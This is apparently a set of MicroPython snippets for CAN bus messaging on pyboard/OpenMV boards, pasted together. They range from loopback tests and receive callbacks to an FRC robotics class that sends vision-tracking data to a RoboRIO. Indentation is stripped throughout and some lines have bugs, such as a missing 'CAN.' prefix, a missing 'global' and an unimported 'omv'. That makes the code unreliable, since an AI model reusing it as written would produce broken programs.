# self._canIf = CAN(1, CAN.NORMAL, extframe=False, prescaler=16, sjw=1, bs1=14, bs2=6)
# self._canIf.setfilter(0, CAN.LIST16, 0, (124, 124, 124, 124))
self._canIf = None
self._canId = canId
self._canAddr = 255
self._rxTimeout = 5
# self._FRM_BYTE = 0x7D
# self._ESC_BYTE = 0x7E
self._txByte = 0
self._rxByte = 0
self._txFrame = 0
self._rxFrame = 0
def bitrate(self, bitrate = 125):
if bitrate == 125:
# 125kpbs, PCLK1@42000000
self._canIf = CAN(self._canId, CAN.NORMAL, extframe=False, prescaler=16, sjw=1, bs1=14, bs2=6)
print('set can speed', bitrate)
elif bitrate == 250:
''' Init for 250 kbps <=> bit time 4 µs. If 42 MHz clk is prescaled by 21, we get 8 subparts 'tq'
of a bit time from theese parts (# tq): sync(1) + bs1(5) + bs2(2) = 8 * tq = 4µs => 250 kbps'''
self._canIf = CAN(self._canId, CAN.NORMAL, extframe=False, prescaler=21, sjw=1, bs1=5, bs2=2)
else:
print('CAN speed not found')
self._canIf.initfilterbanks(1)
return True
def filter(self, address):
canfilterList = []
for x in range(0, 4):
canfilterList.append(address)
# mylist.append(123)
self._canAddr = address
self._canIf.setfilter(0, CAN.LIST16, 0, canfilterList)
print('Filter',self._canAddr)
return True
def any(self):
self._canIf.any(0)
def recv(self):
self._canIf.recv(0)
def send(self, buffer):
# print('canSend',buffer)
result = True
try:
self._canIf.send(buffer, self._canAddr, timeout=100)
self._txByte += len(buffer)
self._txFrame += 1
except:
result = False
print('Failed to Send')
return result
from pyb import CAN
buf = bytearray(8)
data_lst = [0, 0, 0, memoryview(buf)]
def can_cb1(bus, reason, fifo_num):
if reason == CAN.CB_REASON_RX:
bus.recv(fifo=fifo_num, list=data_lst)
print(data_lst)
if reason == CAN.CB_REASON_ERROR_WARNING:
print('Error Warning')
if reason == CAN.CB_REASON_ERROR_PASSIVE:
print('Error Passive')
if reason == CB_REASON_ERROR_BUS_OFF:
print('Bus off')
can0 = CAN(0, mode=CAN.NORMAL, extframe=True, baudrate=500000)
can1 = CAN(1, mode=CAN.NORMAL, extframe=True, baudrate=500000)
can1.setfilter(id=0x55, fifo=10, mask=0xf0)
can0.send(data='mess 1!', id=0x50)
can1.recv(fifo=10)
can1.rxcallback(can_cb1)
can0.send(data='mess 2!', id=0x50)
import pyb
from pyb import CAN
buf = bytearray(8)
data_lst = [0, 0, 0, memoryview(buf)]
can_write = 0
def can_cb(bus, reason, fifo_num):
if reason == CAN.CB_REASON_RX:
bus.recv(fifo=fifo_num, list=data_lst)
can_write = 1
print(buf)
if reason == CAN.CB_REASON_ERROR_WARNING:
print('Error Warning')
if reason == CAN.CB_REASON_ERROR_PASSIVE:
print('Error Passive')
if reason == CAN.CB_REASON_ERROR_BUS_OFF:
print('Bus off')
can0 = CAN(0, mode=CAN.NORMAL, extframe=True, baudrate=500000)
can0.setfilter(id=0x12345, fifo=10, mask=0xFFFF0)
can0.rxcallback(can_cb)
while True:
pyb.delay(500)
if can_write == 1:
can0.send(data='ABC', id=0x567)
can_write = 0
from pyb import CAN
import pyb
# test we can correctly create by id or name
for bus in (-1, 0, 1, 2, 3, "YA", "YB", "YC"):
try:
CAN(bus, CAN.LOOPBACK)
print("CAN", bus)
except ValueError:
print("ValueError", bus)
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Catch all filter
can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
can.send('abcd', 123, timeout=5000)
print(can.any(0))
print(can.recv(0))
can.send('abcd', -1, timeout=5000)
print(can.recv(0))
can.send('abcd', 0x7FF + 1, timeout=5000)
print(can.recv(0))
from pyb import CAN
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Catch all filter
can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
can.send('abcd', 123)
print(can.any(0))
print(can.recv(0))
can.send('abcd', -1)
print(can.recv(0))
can.send('abcd', 0x7FF + 1)
print(can.recv(0))
# Test too long message
try:
can.send('abcdefghi', 0x7FF)
except ValueError:
print('passed')
else:
print('failed')
#Stack Light v1.0p test code
from machine import Pin
from pyb import CAN, ADC
import utime
print("starting stack light board test")
print("v1.0")
print("initializing")
can = CAN(1, CAN.NORMAL)
can.setfilter(0, CAN.LIST16, 0, (123, 124, 125, 126))
#Setup Pins
hbt_led = Pin("D5", Pin.OUT)
func_butt = Pin("E7", Pin.IN, Pin.PULL_UP)
can_wakeup = Pin("D6", Pin.OUT)
can_wakeup.value(0)
BUZZER = Pin("D12", Pin.OUT)
WHITE = Pin("D11", Pin.OUT)
BLUE = Pin("E13", Pin.OUT)
GREEN = Pin("E12", Pin.OUT)
YELLOW = Pin("E11", Pin.OUT)
RED = Pin("E10", Pin.OUT)
#Setup hbt timer
hbt_state = 0
hbt_interval = 500
start = utime.ticks_ms()
next_hbt = utime.ticks_add(start, hbt_interval)
hbt_led.value(hbt_state)
class frc_can:
def __init__(self, devid):
self.can = CAN(2, CAN.NORMAL)
# Device id [0-63]
self.devid = devid
# Mode of the device
self.mode = 0
# Configuration data
self.config_simple_targets = 0
self.config_line_segments = 0
self.config_color_detect = 0
self.config_advanced_targets = 0
self.frame_counter = 0
# Buffer for receiving data in our callback.
self.read_buffer = bytearray(8)
self.read_data = [0, 0, 0, memoryview(self.read_buffer)]
# Initialize CAN based on which type of board we're on
if omv.board_type() == "H7":
print("H7 CAN Interface")
self.can.init(CAN.NORMAL,
extframe=True,
baudrate=1000000,
sampling_point=75) # 1000Kbps H7
#self.can.init(CAN.NORMAL, extframe=True, prescaler=4, sjw=1, bs1=8, bs2=3)
elif omv.board_type() == "M7":
self.can.init(CAN.NORMAL,
extframe=True,
prescaler=3,
sjw=1,
bs1=10,
bs2=7) # 1000Kbps on M7
self.can.setfilter(0, CAN.LIST32, 0, [
self.my_arb_id(self.api_id(1, 3)),
self.my_arb_id(self.api_id(1, 4))
])
print("M7 CAN Interface")
else:
print("CAN INTERFACE NOT INITIALIZED!")
self.can.restart()
# Set config: This is reported to rio when we send config.
def set_config(self, simple_targets, line_segments, color_detect,
advanced_targets):
self.config_simple_targets = simple_targets
self.config_line_segments = line_segments
self.config_color_detect = color_detect
self.config_advanced_targets = advanced_targets
# Update counter should be called after each processed frame. Sent to Rio in heartbeat.
def update_frame_counter(self):
self.frame_counter = self.frame_counter + 1
def get_frame_counter(self):
return self.frame_counter
# Arbitration ID helper packs FRC CAN indices into a CANBus arbitration ID
def arbitration_id(devtype, mfr, devid, apiid):
retval = (devtype & 0x1f) << 24
retval = retval | ((mfr & 0xff) << 16)
retval = retval | ((apiid & 0x3ff) << 6)
retval = retval | (devid & 0x3f)
return retval
# Arbitration ID helper, assumes devtype, mfr, and instance devid.
def my_arb_id(self, apiid):
devtype = 10 # FRC Miscellaneous is our device type
mfr = 173 # Team 1073 ID to avoid conflict with all COTS devices
retval = (devtype & 0x1f) << 24
retval = retval | ((mfr & 0xff) << 16)
retval = retval | ((apiid & 0x3ff) << 6)
retval = retval | (self.devid & 0x3f)
return retval
# Return the combined API number of an API class and index:
def api_id(self, api_class, api_index):
return ((api_class & 0x3f) << 4) | (api_index & 0x0f)
# Send message to my API id: Sends from OpenMV to Rio with our address.
def send(self, apiid, bytes):
sendid = self.my_arb_id(apiid)
try:
self.can.send(bytes, sendid, timeout=33)
except:
print("CANbus exception.")
self.can.restart()
# API Class - 1: Configuration
# Whenever we set the mode from here we send it to the RoboRio
def set_mode(self, mode):
self.mode = mode
self.send_config_data()
# Allows us to read back mode in case Rio sets the mode.
def get_mode(self):
return self.mode
# Called by filter when FIFO 0 gets a message.
def incoming_callback_0(can, reason):
if reason:
print("CAN Message FIFO 0 REASON %d" % reason)
else:
print("CAN FIFO 0 CB: NULL REASON")
message = can.recv(0, list=None, timeout=10)
print("ARBID %d" % message[0])
# Send our Config data to RoboRio
def send_config_data(self):
cb = bytearray(8)
cb[0] = self.mode
cb[2] = self.config_simple_targets
cb[3] = self.config_line_segments
cb[4] = self.config_color_detect
cb[5] = self.config_advanced_targets
self.send(self.api_id(1, 0), cb)
# Send our camera status data to RoboRio
def send_camera_status(self, width, height):
cb = bytearray(8)
cb[0] = int(width / 4)
cb[1] = int(height / 4)
self.send(self.api_id(1, 1), cb)
# Called to update mode if it is changed.
def check_mode(self):
try:
self.can.recv(0, self.read_data, timeout=10)
if self.read_data[0] == self.my_arb_id(self.api_id(1, 3)):
self.mode = self.read_data[3][0]
print("GOT MODE: %d" % self.mode)
return True
except:
return False
# Send the RIO the heartbeat message with our mode and frame counter:
def send_heartbeat(self):
hb = bytearray(3)
hb[0] = (self.mode & 0xff)
hb[1] = (self.frame_counter & 0xff00) >> 8
hb[2] = (self.frame_counter & 0x00ff)
self.send(self.api_id(1, 2), hb)
# API Class - 2: Simple Target Tracking
# Send tracking data for a given tracking slot to RoboRio.
def send_track_data(self, slot, cx, cy, vx, vy, ttype, qual):
tdb = bytearray(7)
tdb[0] = (cx & 0xff0) >> 4
tdb[1] = (cx & 0x00f) << 4 | (cy & 0xf00) >> 8
tdb[2] = (cy & 0x0ff)
tdb[3] = (vx & 0xff)
tdb[4] = (vy & 0xff)
tdb[5] = (ttype & 0xff)
tdb[6] = (qual & 0xff)
self.send(self.api_id(2, slot), tdb)
# Track is empty when quality is zero, send empty slot /w 0 quality.
def clear_track_data(self, slot):
# Assume fills with zero.
tdb = bytearray(7)
self.send(self.api_id(2, slot), tdb)
# Line Segment Tracking API Class: 3
# Send line segment data to a slot to RoboRio.
def send_line_data(self, slot, x0, y0, x1, y1, ttype, qual):
ldb = bytearray(8)
ldb[0] = (x0 & 0xff0) >> 4
ldb[1] = ((x0 & 0x00f) << 4) | ((y0 & 0xf00) >> 8)
ldb[2] = (y0 & 0x0ff)
ldb[3] = (x1 & 0xff0) >> 4
ldb[4] = ((x1 & 0x00f) << 4) | ((y1 & 0xf00) >> 8)
ldb[5] = (y1 & 0x0ff)
ldb[6] = (ttype & 0xff)
ldb[7] = (qual & 0xff)
self.send(self.api_id(3, slot), ldb)
# Send null, 0 quality line to clear a slot for RoboRio.
def clear_line_data(self, slot):
ldb = bytearray(8)
self.send(self.api_id(3, slot), ldb)
# Color Detection API Class: 4
# Send the given color segmentation data to the RoboRio
def send_color_data(self, c0, p0, c1, p1, c2, p2, c3, p3):
cdb = bytearray(8)
cdb[0] = c0 & 0xff
cdb[1] = p0 & 0xff
cdb[2] = c1 & 0xff
cdb[3] = p1 & 0xff
cdb[4] = c2 & 0xff
cdb[5] = p2 & 0xff
cdb[6] = c3 & 0xff
cdb[7] = p3 & 0xff
self.send(self.api_id(4, 0), cdb)
# Send empty color data / invalid colors to RoboRio.
def clear_color_data(self):
cdb = bytearray(8)
self.send(self.api_id(4, 0), cdb)
# Advanced Target Tracking API Class: 5
# Send advanced target tracking data to RoboRio
def send_advanced_track_data(self,
cx,
cy,
area,
ttype,
qual,
skew,
slot=1):
atb = bytearray(8)
atb[0] = (cx & 0xff0) >> 4
atb[1] = ((cx & 0x00f) << 4) | ((cy & 0xf00) >> 8)
atb[2] = (cy & 0x0ff)
atb[3] = (area & 0xff00) >> 8
atb[4] = (area & 0x00ff)
atb[5] = (ttype & 0xff)
atb[6] = (qual & 0xff)
atb[7] = (skew & 0xff)
self.send(self.api_id(5, slot), atb)
# Send a null / 0 quality update to clear track data to RoboRio
def clear_advanced_track_data(self, slot=1):
atb = bytearray(8)
self.send(self.api_id(5, slot), atb)
#send LiDar range sensing data to the RIO using API class 6
#r stands for range
def send_range_data(self, r, qual):
atb = bytearray(3)
atb[0] = (r & 0xff00) >> 8
atb[1] = (r & 0x00ff)
atb[2] = (qual & 0xff)
self.send(self.api_id(6, 1), atb)
